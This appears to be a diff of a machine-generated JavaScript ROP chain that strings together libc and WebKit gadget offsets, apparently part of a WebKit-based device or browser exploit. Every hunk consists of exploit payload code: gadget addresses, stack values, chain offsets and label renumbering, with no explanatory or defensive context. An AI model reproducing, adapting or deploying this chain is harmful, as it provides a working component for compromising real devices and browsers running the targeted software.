-5408,19 +5406,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+97368, //L819 +ropchain+97352, //L818 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L819: +//L818: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+97440, //L820 +ropchain+97424, //L820 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5430,12 +5428,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+97496, //L823 +ropchain+97480, //L822 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L823: +//L822: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -5455,29 +5453,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+97648, //L827 +ropchain+97616, //L825 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L825: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L827: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L826: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+97752, //L830 +ropchain+97736, //L830 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+97736, //L829 +ropchain+97720, //L828 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L829: +//L828: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L830: @@ -5485,15 +5483,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+97896, //L833 +ropchain+97880, //L833 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+97864, //L831 +ropchain+97848, //L831 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+97880, //L832 +ropchain+97864, //L832 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5510,7 +5508,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+97968, //L834 +ropchain+97952, //L834 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5520,12 +5518,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+98024, //L837 +ropchain+98008, //L836 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L837: +//L836: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5534,25 +5532,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+98104, //L839 +ropchain+98088, //L839 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L839: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L838: -db([13, 0]); // 0xd set_gadget(libc_base+792472,); //pop rcx -//L840: +//L838: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L840: +db([13, 0]); // 0xd set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+98208, //L841 +ropchain+98192, //L841 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+98224, //L842 +ropchain+98208, //L842 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5570,7 +5568,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+98312, //L843 +ropchain+98296, //L843 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5580,19 +5578,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+98368, //L846 +ropchain+98352, //L845 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L846: +//L845: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+98440, //L847 +ropchain+98424, //L847 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5602,12 +5600,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+98496, //L850 +ropchain+98480, //L849 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L850: +//L849: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -5618,29 +5616,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+98600, //L853 +ropchain+98568, //L851 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L851: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L853: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L852: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+98704, //L856 +ropchain+98688, //L856 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+98688, //L855 +ropchain+98672, //L854 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L855: +//L854: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L856: @@ -5648,15 +5646,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+98848, //L859 +ropchain+98832, //L859 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+98816, //L857 +ropchain+98800, //L857 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+98832, //L858 +ropchain+98816, //L858 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5673,7 +5671,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+98920, //L860 +ropchain+98904, //L860 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5683,12 +5681,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+98976, //L863 +ropchain+98960, //L862 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L863: +//L862: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5697,25 +5695,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+99056, //L865 +ropchain+99040, //L865 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L865: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L864: -db([5, 0]); // 0x5 set_gadget(libc_base+792472,); //pop rcx -//L866: +//L864: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L866: +db([5, 0]); // 0x5 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+99160, //L867 +ropchain+99144, //L867 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+99176, //L868 +ropchain+99160, //L868 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5733,7 +5731,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+99264, //L869 +ropchain+99248, //L869 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5743,12 +5741,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+99320, //L872 +ropchain+99304, //L871 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L872: +//L871: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -5761,29 +5759,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+99440, //L875 +ropchain+99408, //L873 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L873: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L875: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L874: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+99544, //L878 +ropchain+99528, //L878 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+99528, //L877 +ropchain+99512, //L876 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L877: +//L876: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L878: @@ -5791,15 +5789,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+99688, //L881 +ropchain+99672, //L881 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+99656, //L879 +ropchain+99640, //L879 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+99672, //L880 +ropchain+99656, //L880 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5816,7 +5814,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+99760, //L882 +ropchain+99744, //L882 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5826,12 +5824,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+99816, //L885 +ropchain+99800, //L884 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L885: +//L884: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5840,25 +5838,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+99896, //L887 +ropchain+99880, //L887 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L887: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L886: -db([14, 0]); // 0xe set_gadget(libc_base+792472,); //pop rcx -//L888: +//L886: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L888: +db([14, 0]); // 0xe set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+100000, //L889 +ropchain+99984, //L889 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+100016, //L890 +ropchain+100000, //L890 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5876,7 +5874,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+100104, //L891 +ropchain+100088, //L891 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5886,19 +5884,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+100160, //L894 +ropchain+100144, //L893 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L894: +//L893: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+100232, //L895 +ropchain+100216, //L895 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5908,12 +5906,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+100288, //L898 +ropchain+100272, //L897 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L898: +//L897: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -5925,7 +5923,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575, //pop rax //L899: -webkit_base+7438103, //mov [rsi], rax +webkit_base+4648696, //mov [rsi], rax ; mov al, 1 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -5933,29 +5931,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+100440, //L902 +ropchain+100408, //L900 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L900: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L902: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L901: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+100544, //L905 +ropchain+100528, //L905 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+100528, //L904 +ropchain+100512, //L903 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L904: +//L903: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L905: @@ -5963,15 +5961,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+100688, //L908 +ropchain+100672, //L908 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+100656, //L906 +ropchain+100640, //L906 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+100672, //L907 +ropchain+100656, //L907 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5988,7 +5986,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+100760, //L909 +ropchain+100744, //L909 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5998,12 +5996,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+100816, //L912 +ropchain+100800, //L911 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L912: +//L911: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6012,25 +6010,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+100896, //L914 +ropchain+100880, //L914 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L914: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L913: -db([15, 0]); // 0xf set_gadget(libc_base+792472,); //pop rcx -//L915: +//L913: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L915: +db([15, 0]); // 0xf set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+101000, //L916 +ropchain+100984, //L916 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+101016, //L917 +ropchain+101000, //L917 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6048,7 +6046,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+101104, //L918 +ropchain+101088, //L918 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6058,19 +6056,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+101160, //L921 +ropchain+101144, //L920 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L921: +//L920: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+101232, //L922 +ropchain+101216, //L922 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6080,12 +6078,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+101288, //L925 +ropchain+101272, //L924 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L925: +//L924: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -6105,29 +6103,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+101440, //L929 +ropchain+101408, //L927 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L927: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L929: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L928: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+101544, //L932 +ropchain+101528, //L932 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+101528, //L931 +ropchain+101512, //L930 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L931: +//L930: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L932: @@ -6135,15 +6133,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+101688, //L935 +ropchain+101672, //L935 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+101656, //L933 +ropchain+101640, //L933 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+101672, //L934 +ropchain+101656, //L934 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6160,7 +6158,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+101760, //L936 +ropchain+101744, //L936 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6170,12 +6168,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+101816, //L939 +ropchain+101800, //L938 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L939: +//L938: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6184,25 +6182,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+101896, //L941 +ropchain+101880, //L941 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L941: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L940: -db([16, 0]); // 0x10 set_gadget(libc_base+792472,); //pop rcx -//L942: +//L940: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L942: +db([16, 0]); // 0x10 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+102000, //L943 +ropchain+101984, //L943 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+102016, //L944 +ropchain+102000, //L944 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6220,7 +6218,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+102104, //L945 +ropchain+102088, //L945 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6230,19 +6228,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+102160, //L948 +ropchain+102144, //L947 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L948: +//L947: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+102232, //L949 +ropchain+102216, //L949 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6252,12 +6250,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+102288, //L952 +ropchain+102272, //L951 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L952: +//L951: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -6277,29 +6275,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+102440, //L956 +ropchain+102408, //L954 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L954: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L956: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L955: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+102544, //L959 +ropchain+102528, //L959 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+102528, //L958 +ropchain+102512, //L957 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L958: +//L957: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L959: @@ -6307,15 +6305,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+102688, //L962 +ropchain+102672, //L962 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+102656, //L960 +ropchain+102640, //L960 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+102672, //L961 +ropchain+102656, //L961 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6332,7 +6330,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+102760, //L963 +ropchain+102744, //L963 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6342,12 +6340,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+102816, //L966 +ropchain+102800, //L965 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L966: +//L965: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -6356,25 +6354,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+102896, //L968 +ropchain+102880, //L968 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L968: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L967: -db([17, 0]); // 0x11 set_gadget(libc_base+792472,); //pop rcx -//L969: +//L967: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L969: +db([17, 0]); // 0x11 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+103000, //L970 +ropchain+102984, //L970 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+103016, //L971 +ropchain+103000, //L971 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -6392,7 +6390,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+103104, //L972 +ropchain+103088, //L972 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6402,19 +6400,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+103160, //L975 +ropchain+103144, //L974 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L975: +//L974: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+103232, //L976 +ropchain+103216, //L976 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -6424,12 +6422,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+103288, //L979 +ropchain+103272, //L978 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L979: +//L978: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -6440,29 +6438,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+103392, //L982 +ropchain+103360, //L980 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L980: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L982: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L981: +db([4294967288, 4294967295]); // -0x8 